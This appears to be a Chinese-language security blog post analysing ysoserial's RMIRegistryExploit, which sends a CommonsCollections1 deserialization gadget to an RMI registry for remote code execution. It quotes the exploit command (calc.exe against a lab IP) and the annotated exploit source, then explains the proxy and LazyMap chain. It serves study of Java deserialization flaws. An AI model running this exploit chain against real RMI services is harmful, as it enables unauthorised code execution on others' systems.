启动RMI服务
使用ysoserial工具来给本地的RMI服务器发送payload:
java -cp ysoserial-master-d367e379d9-1.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.5 777 CommonsCollections1 "calc.exe"

可以看到,使用的是ysoserial.exploit.RMIRegistryExploit类,跟进该类。
public class RMIRegistryExploit {
..............
public static void main(final String[] args) throws Exception {
//获取到命令的第一个参数 即RMI服务端IP 192.168.1.5
final String host = args[0];
//获取到命令的第二个参数 即RMI服务端端口 777
final int port = Integer.parseInt(args[1]);
//获取的要执行的命令 "calc.exe"
final String command = args[3];
//获取192.168.1.5:777 上存在的RMI服务
Registry registry = LocateRegistry.getRegistry(host, port);
//获取paylaod类名即:ysoserial.payloads.CommonsCollections1
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
//获取ysoserial.payloads.CommonsCollections1类的对象
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// test RMI registry connection and upgrade to SSL connection on fail
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
//将获取到的RMI服务对象,payloads所在的类CommonsCollections1类的对象,要执行的命令作为参数传入,调用exploit方法
// ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command);
}
public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception {
new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
//获取CommonsCollections1类无参构造器运行时类的对象
ObjectPayload payloadObj = payloadClass.newInstance();
//调用CommonsCollections1类运行时类的对象的getObject方法,并将要执行的命令作为参数传入
//getObject方法 即前文Client利用代码
Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime();
//使用基于AnnotationInvocationHandler的动态代理,从而加载rmi协议指定的类
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
try {
//将远程引用绑定到RMI注册服务器中的指定name
registry.bind(name, remote);
} catch (Throwable e) {
e.printStackTrace();
}
Utils.releasePayload(payloadObj, payload);
return null;
}});
}
}重点关注的代码部分如下:
ysoserial.payloads.CommonsCollections1类
//payloadClass为获取的ysoserial.payloads.CommonsCollections1类的对象 //payloadObj即获取的CommonsCollections1类无参构造器运行时类的对象 ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command);
调用CommonsCollections1类运行时类的对象的getObject方法,并将要执行的命令作为参数传入 ,跟进getObject方法。
前半部分代码不再详细解释,上篇文章有分析,主要是生成ChainedTransformer实例,把一些transformer链接到一起,构成一组链条,对一个对象依次通过链条内的每一个transformer进行转换。
蓝框的代码先是生成一个Map实例,并调用LayMap的decorate()方法,将Map实例和ChainedTransformer实例作为参数传入,创建一个LazyMap对象,之后利用了两层的动态代理来封装lazyMap对象。
第一次调用createMemoitizedProxy生成mapProxy代理对象,层层跟进:
此时就用到了在前文提到的动态代理的两个核心机制,proxy类和InvocationHandler接口。和该类最常用的是newProxyInstance方法。
此处使用proxy.newProxyInstance()方法生成代理对象,该方法有三个参数。
参数一loader:生成代理对象使用哪个类装载器【一般使用的是被代理类的装载器】 参数二interfaces:生成哪个对象的代理对象,通过接口指定【指定要被代理类的接口】 参数三h:生成的代理对象的方法里干什么事,动态代理方法在执行时,会调用h里面的invoke方法去执行【即InvocationHandler接口的实现】
其中参数三就是前文提到的InvocationHandler接口的实现,动态代理方法在执行时,会调用里面的invoke方法去执行,此处参数三ih即AnnotationInvocationHandler的实例对象。
//ANN_INV_HANDLER_CLASS="sun.reflect.annotation.AnnotationInvocationHandler" (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
而其中lazyMap赋给了AnnotationInvocationHandler实例对象的memberValues属性。
因此当动态代理在调用方法时,会调用AnnotationInvocationHandler的invoke方法,从而调用this.memberValues.get()。
同样第二次调用createMemoizedInvocationHandler生成handler代理对象,将mapProxy对象赋给AnnotationInvocationHandler的memberValues属性。之后将生成的handler代理对象返回。
二次调用后的memberValues关系大致如下:
handler.memberValues == mapProxy mapProxy.handler.memberValues == lazyMap
反序列化
返回到ysoserial.exploit.RMIRegistryExploit类,继续往下看,调用createMemoitizedProxy生成remote代理对象,CommonsCollections1类返回的handler对象会作为createMap的参数传入。
跟进createMap,此处生成了一个map对象,并更新了一组数据{key为"pwned”加随机时间,val为handler代理对象}。
调用createMemoitizedProxy生成remote代理对象,将map赋给它的AnnotationInvocationHandler的memberValues属性,而Map的value为handler对象。
生成的remote代理对象会作为registry.bind()的参数传入,向RMI注册中心序列化传输远程对象。
当RMI注册中心反序列远程对象时,会调用AnnotationInvocationHandler类重写的readObject方法。
当readObject方法执行entrySet()时,动态代理会调用AnnotationInvocationHandler的invoke方法,而this.memberValues为lazyMap实例。invoke方法里的this.memberValues.get(),即调用lazyMap的get()方法。
调用lazyMap的get()方法,从而触发transform利用链,造成远程代码执行,而这跟我们之前构造的利用链是相吻合的。
攻击链条: